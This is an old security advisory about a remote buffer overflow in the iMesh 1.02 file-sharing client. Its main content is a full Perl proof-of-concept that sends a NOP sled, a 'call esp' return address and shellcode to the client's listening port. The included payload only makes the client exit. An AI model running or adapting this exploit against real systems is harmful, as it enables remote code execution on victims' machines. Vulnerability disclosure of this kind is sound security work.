COMMAND
iMesh
SYSTEMS AFFECTED
iMesh 1.02 Build 116/117 29/06/2000 (dd/mm/yyyy)
PROBLEM
Following is based on BluePanda Vulnerability Announcement. iMesh
1.02 builds 116 and 177 are vulnerable to a buffer overflow that
can be exploited to execute arbitrary code. Once iMesh connects
to a server, it begins listening on a TCP port (varies). An
attacker can connect to this port and cause an overflow which
will overwrite EIP, effectively redirecting the flow of execution.
Proof of concept:
#!/usr/bin/perl
#
# iMesh 1.02 Build 116/117 client buffer overflow
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Note: The payload executed by this script just calls ExitProcess (causing
# iMesh to exit silently).
#
use IO::Socket;
$host = "localhost";
$port = "4011"; # This may require adjustment.
# Call ExitProcess.
$payload = "\xff\x25\x18\xb2\x4c\x00";
$count = 0;
$es = "";
while($count < 0x272d) {
$es .= "\x90";
$count += 1;
}
$es .= "\x43\x04\x43\x00"; # IMESHCLIENT.EXE, call esp
$count = 0;
while($count < 2048) {
$es .= "\x90";
$count += 1;
}
$es .= $payload; # Tack the payload onto the end.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "unable to connect.\n";
print "done.\n";
print $socket "$es";
print "Waiting 5 seconds...\n";
sleep(5);
# Done.
close($socket);
print "Finished.\n";
SOLUTION
iMesh were notified of this vulnerability on Sunday the 18th of
June. The problem had been fixed, but a patch will not be made
available to the public, and the changes would be incorporated
into the next version of iMesh.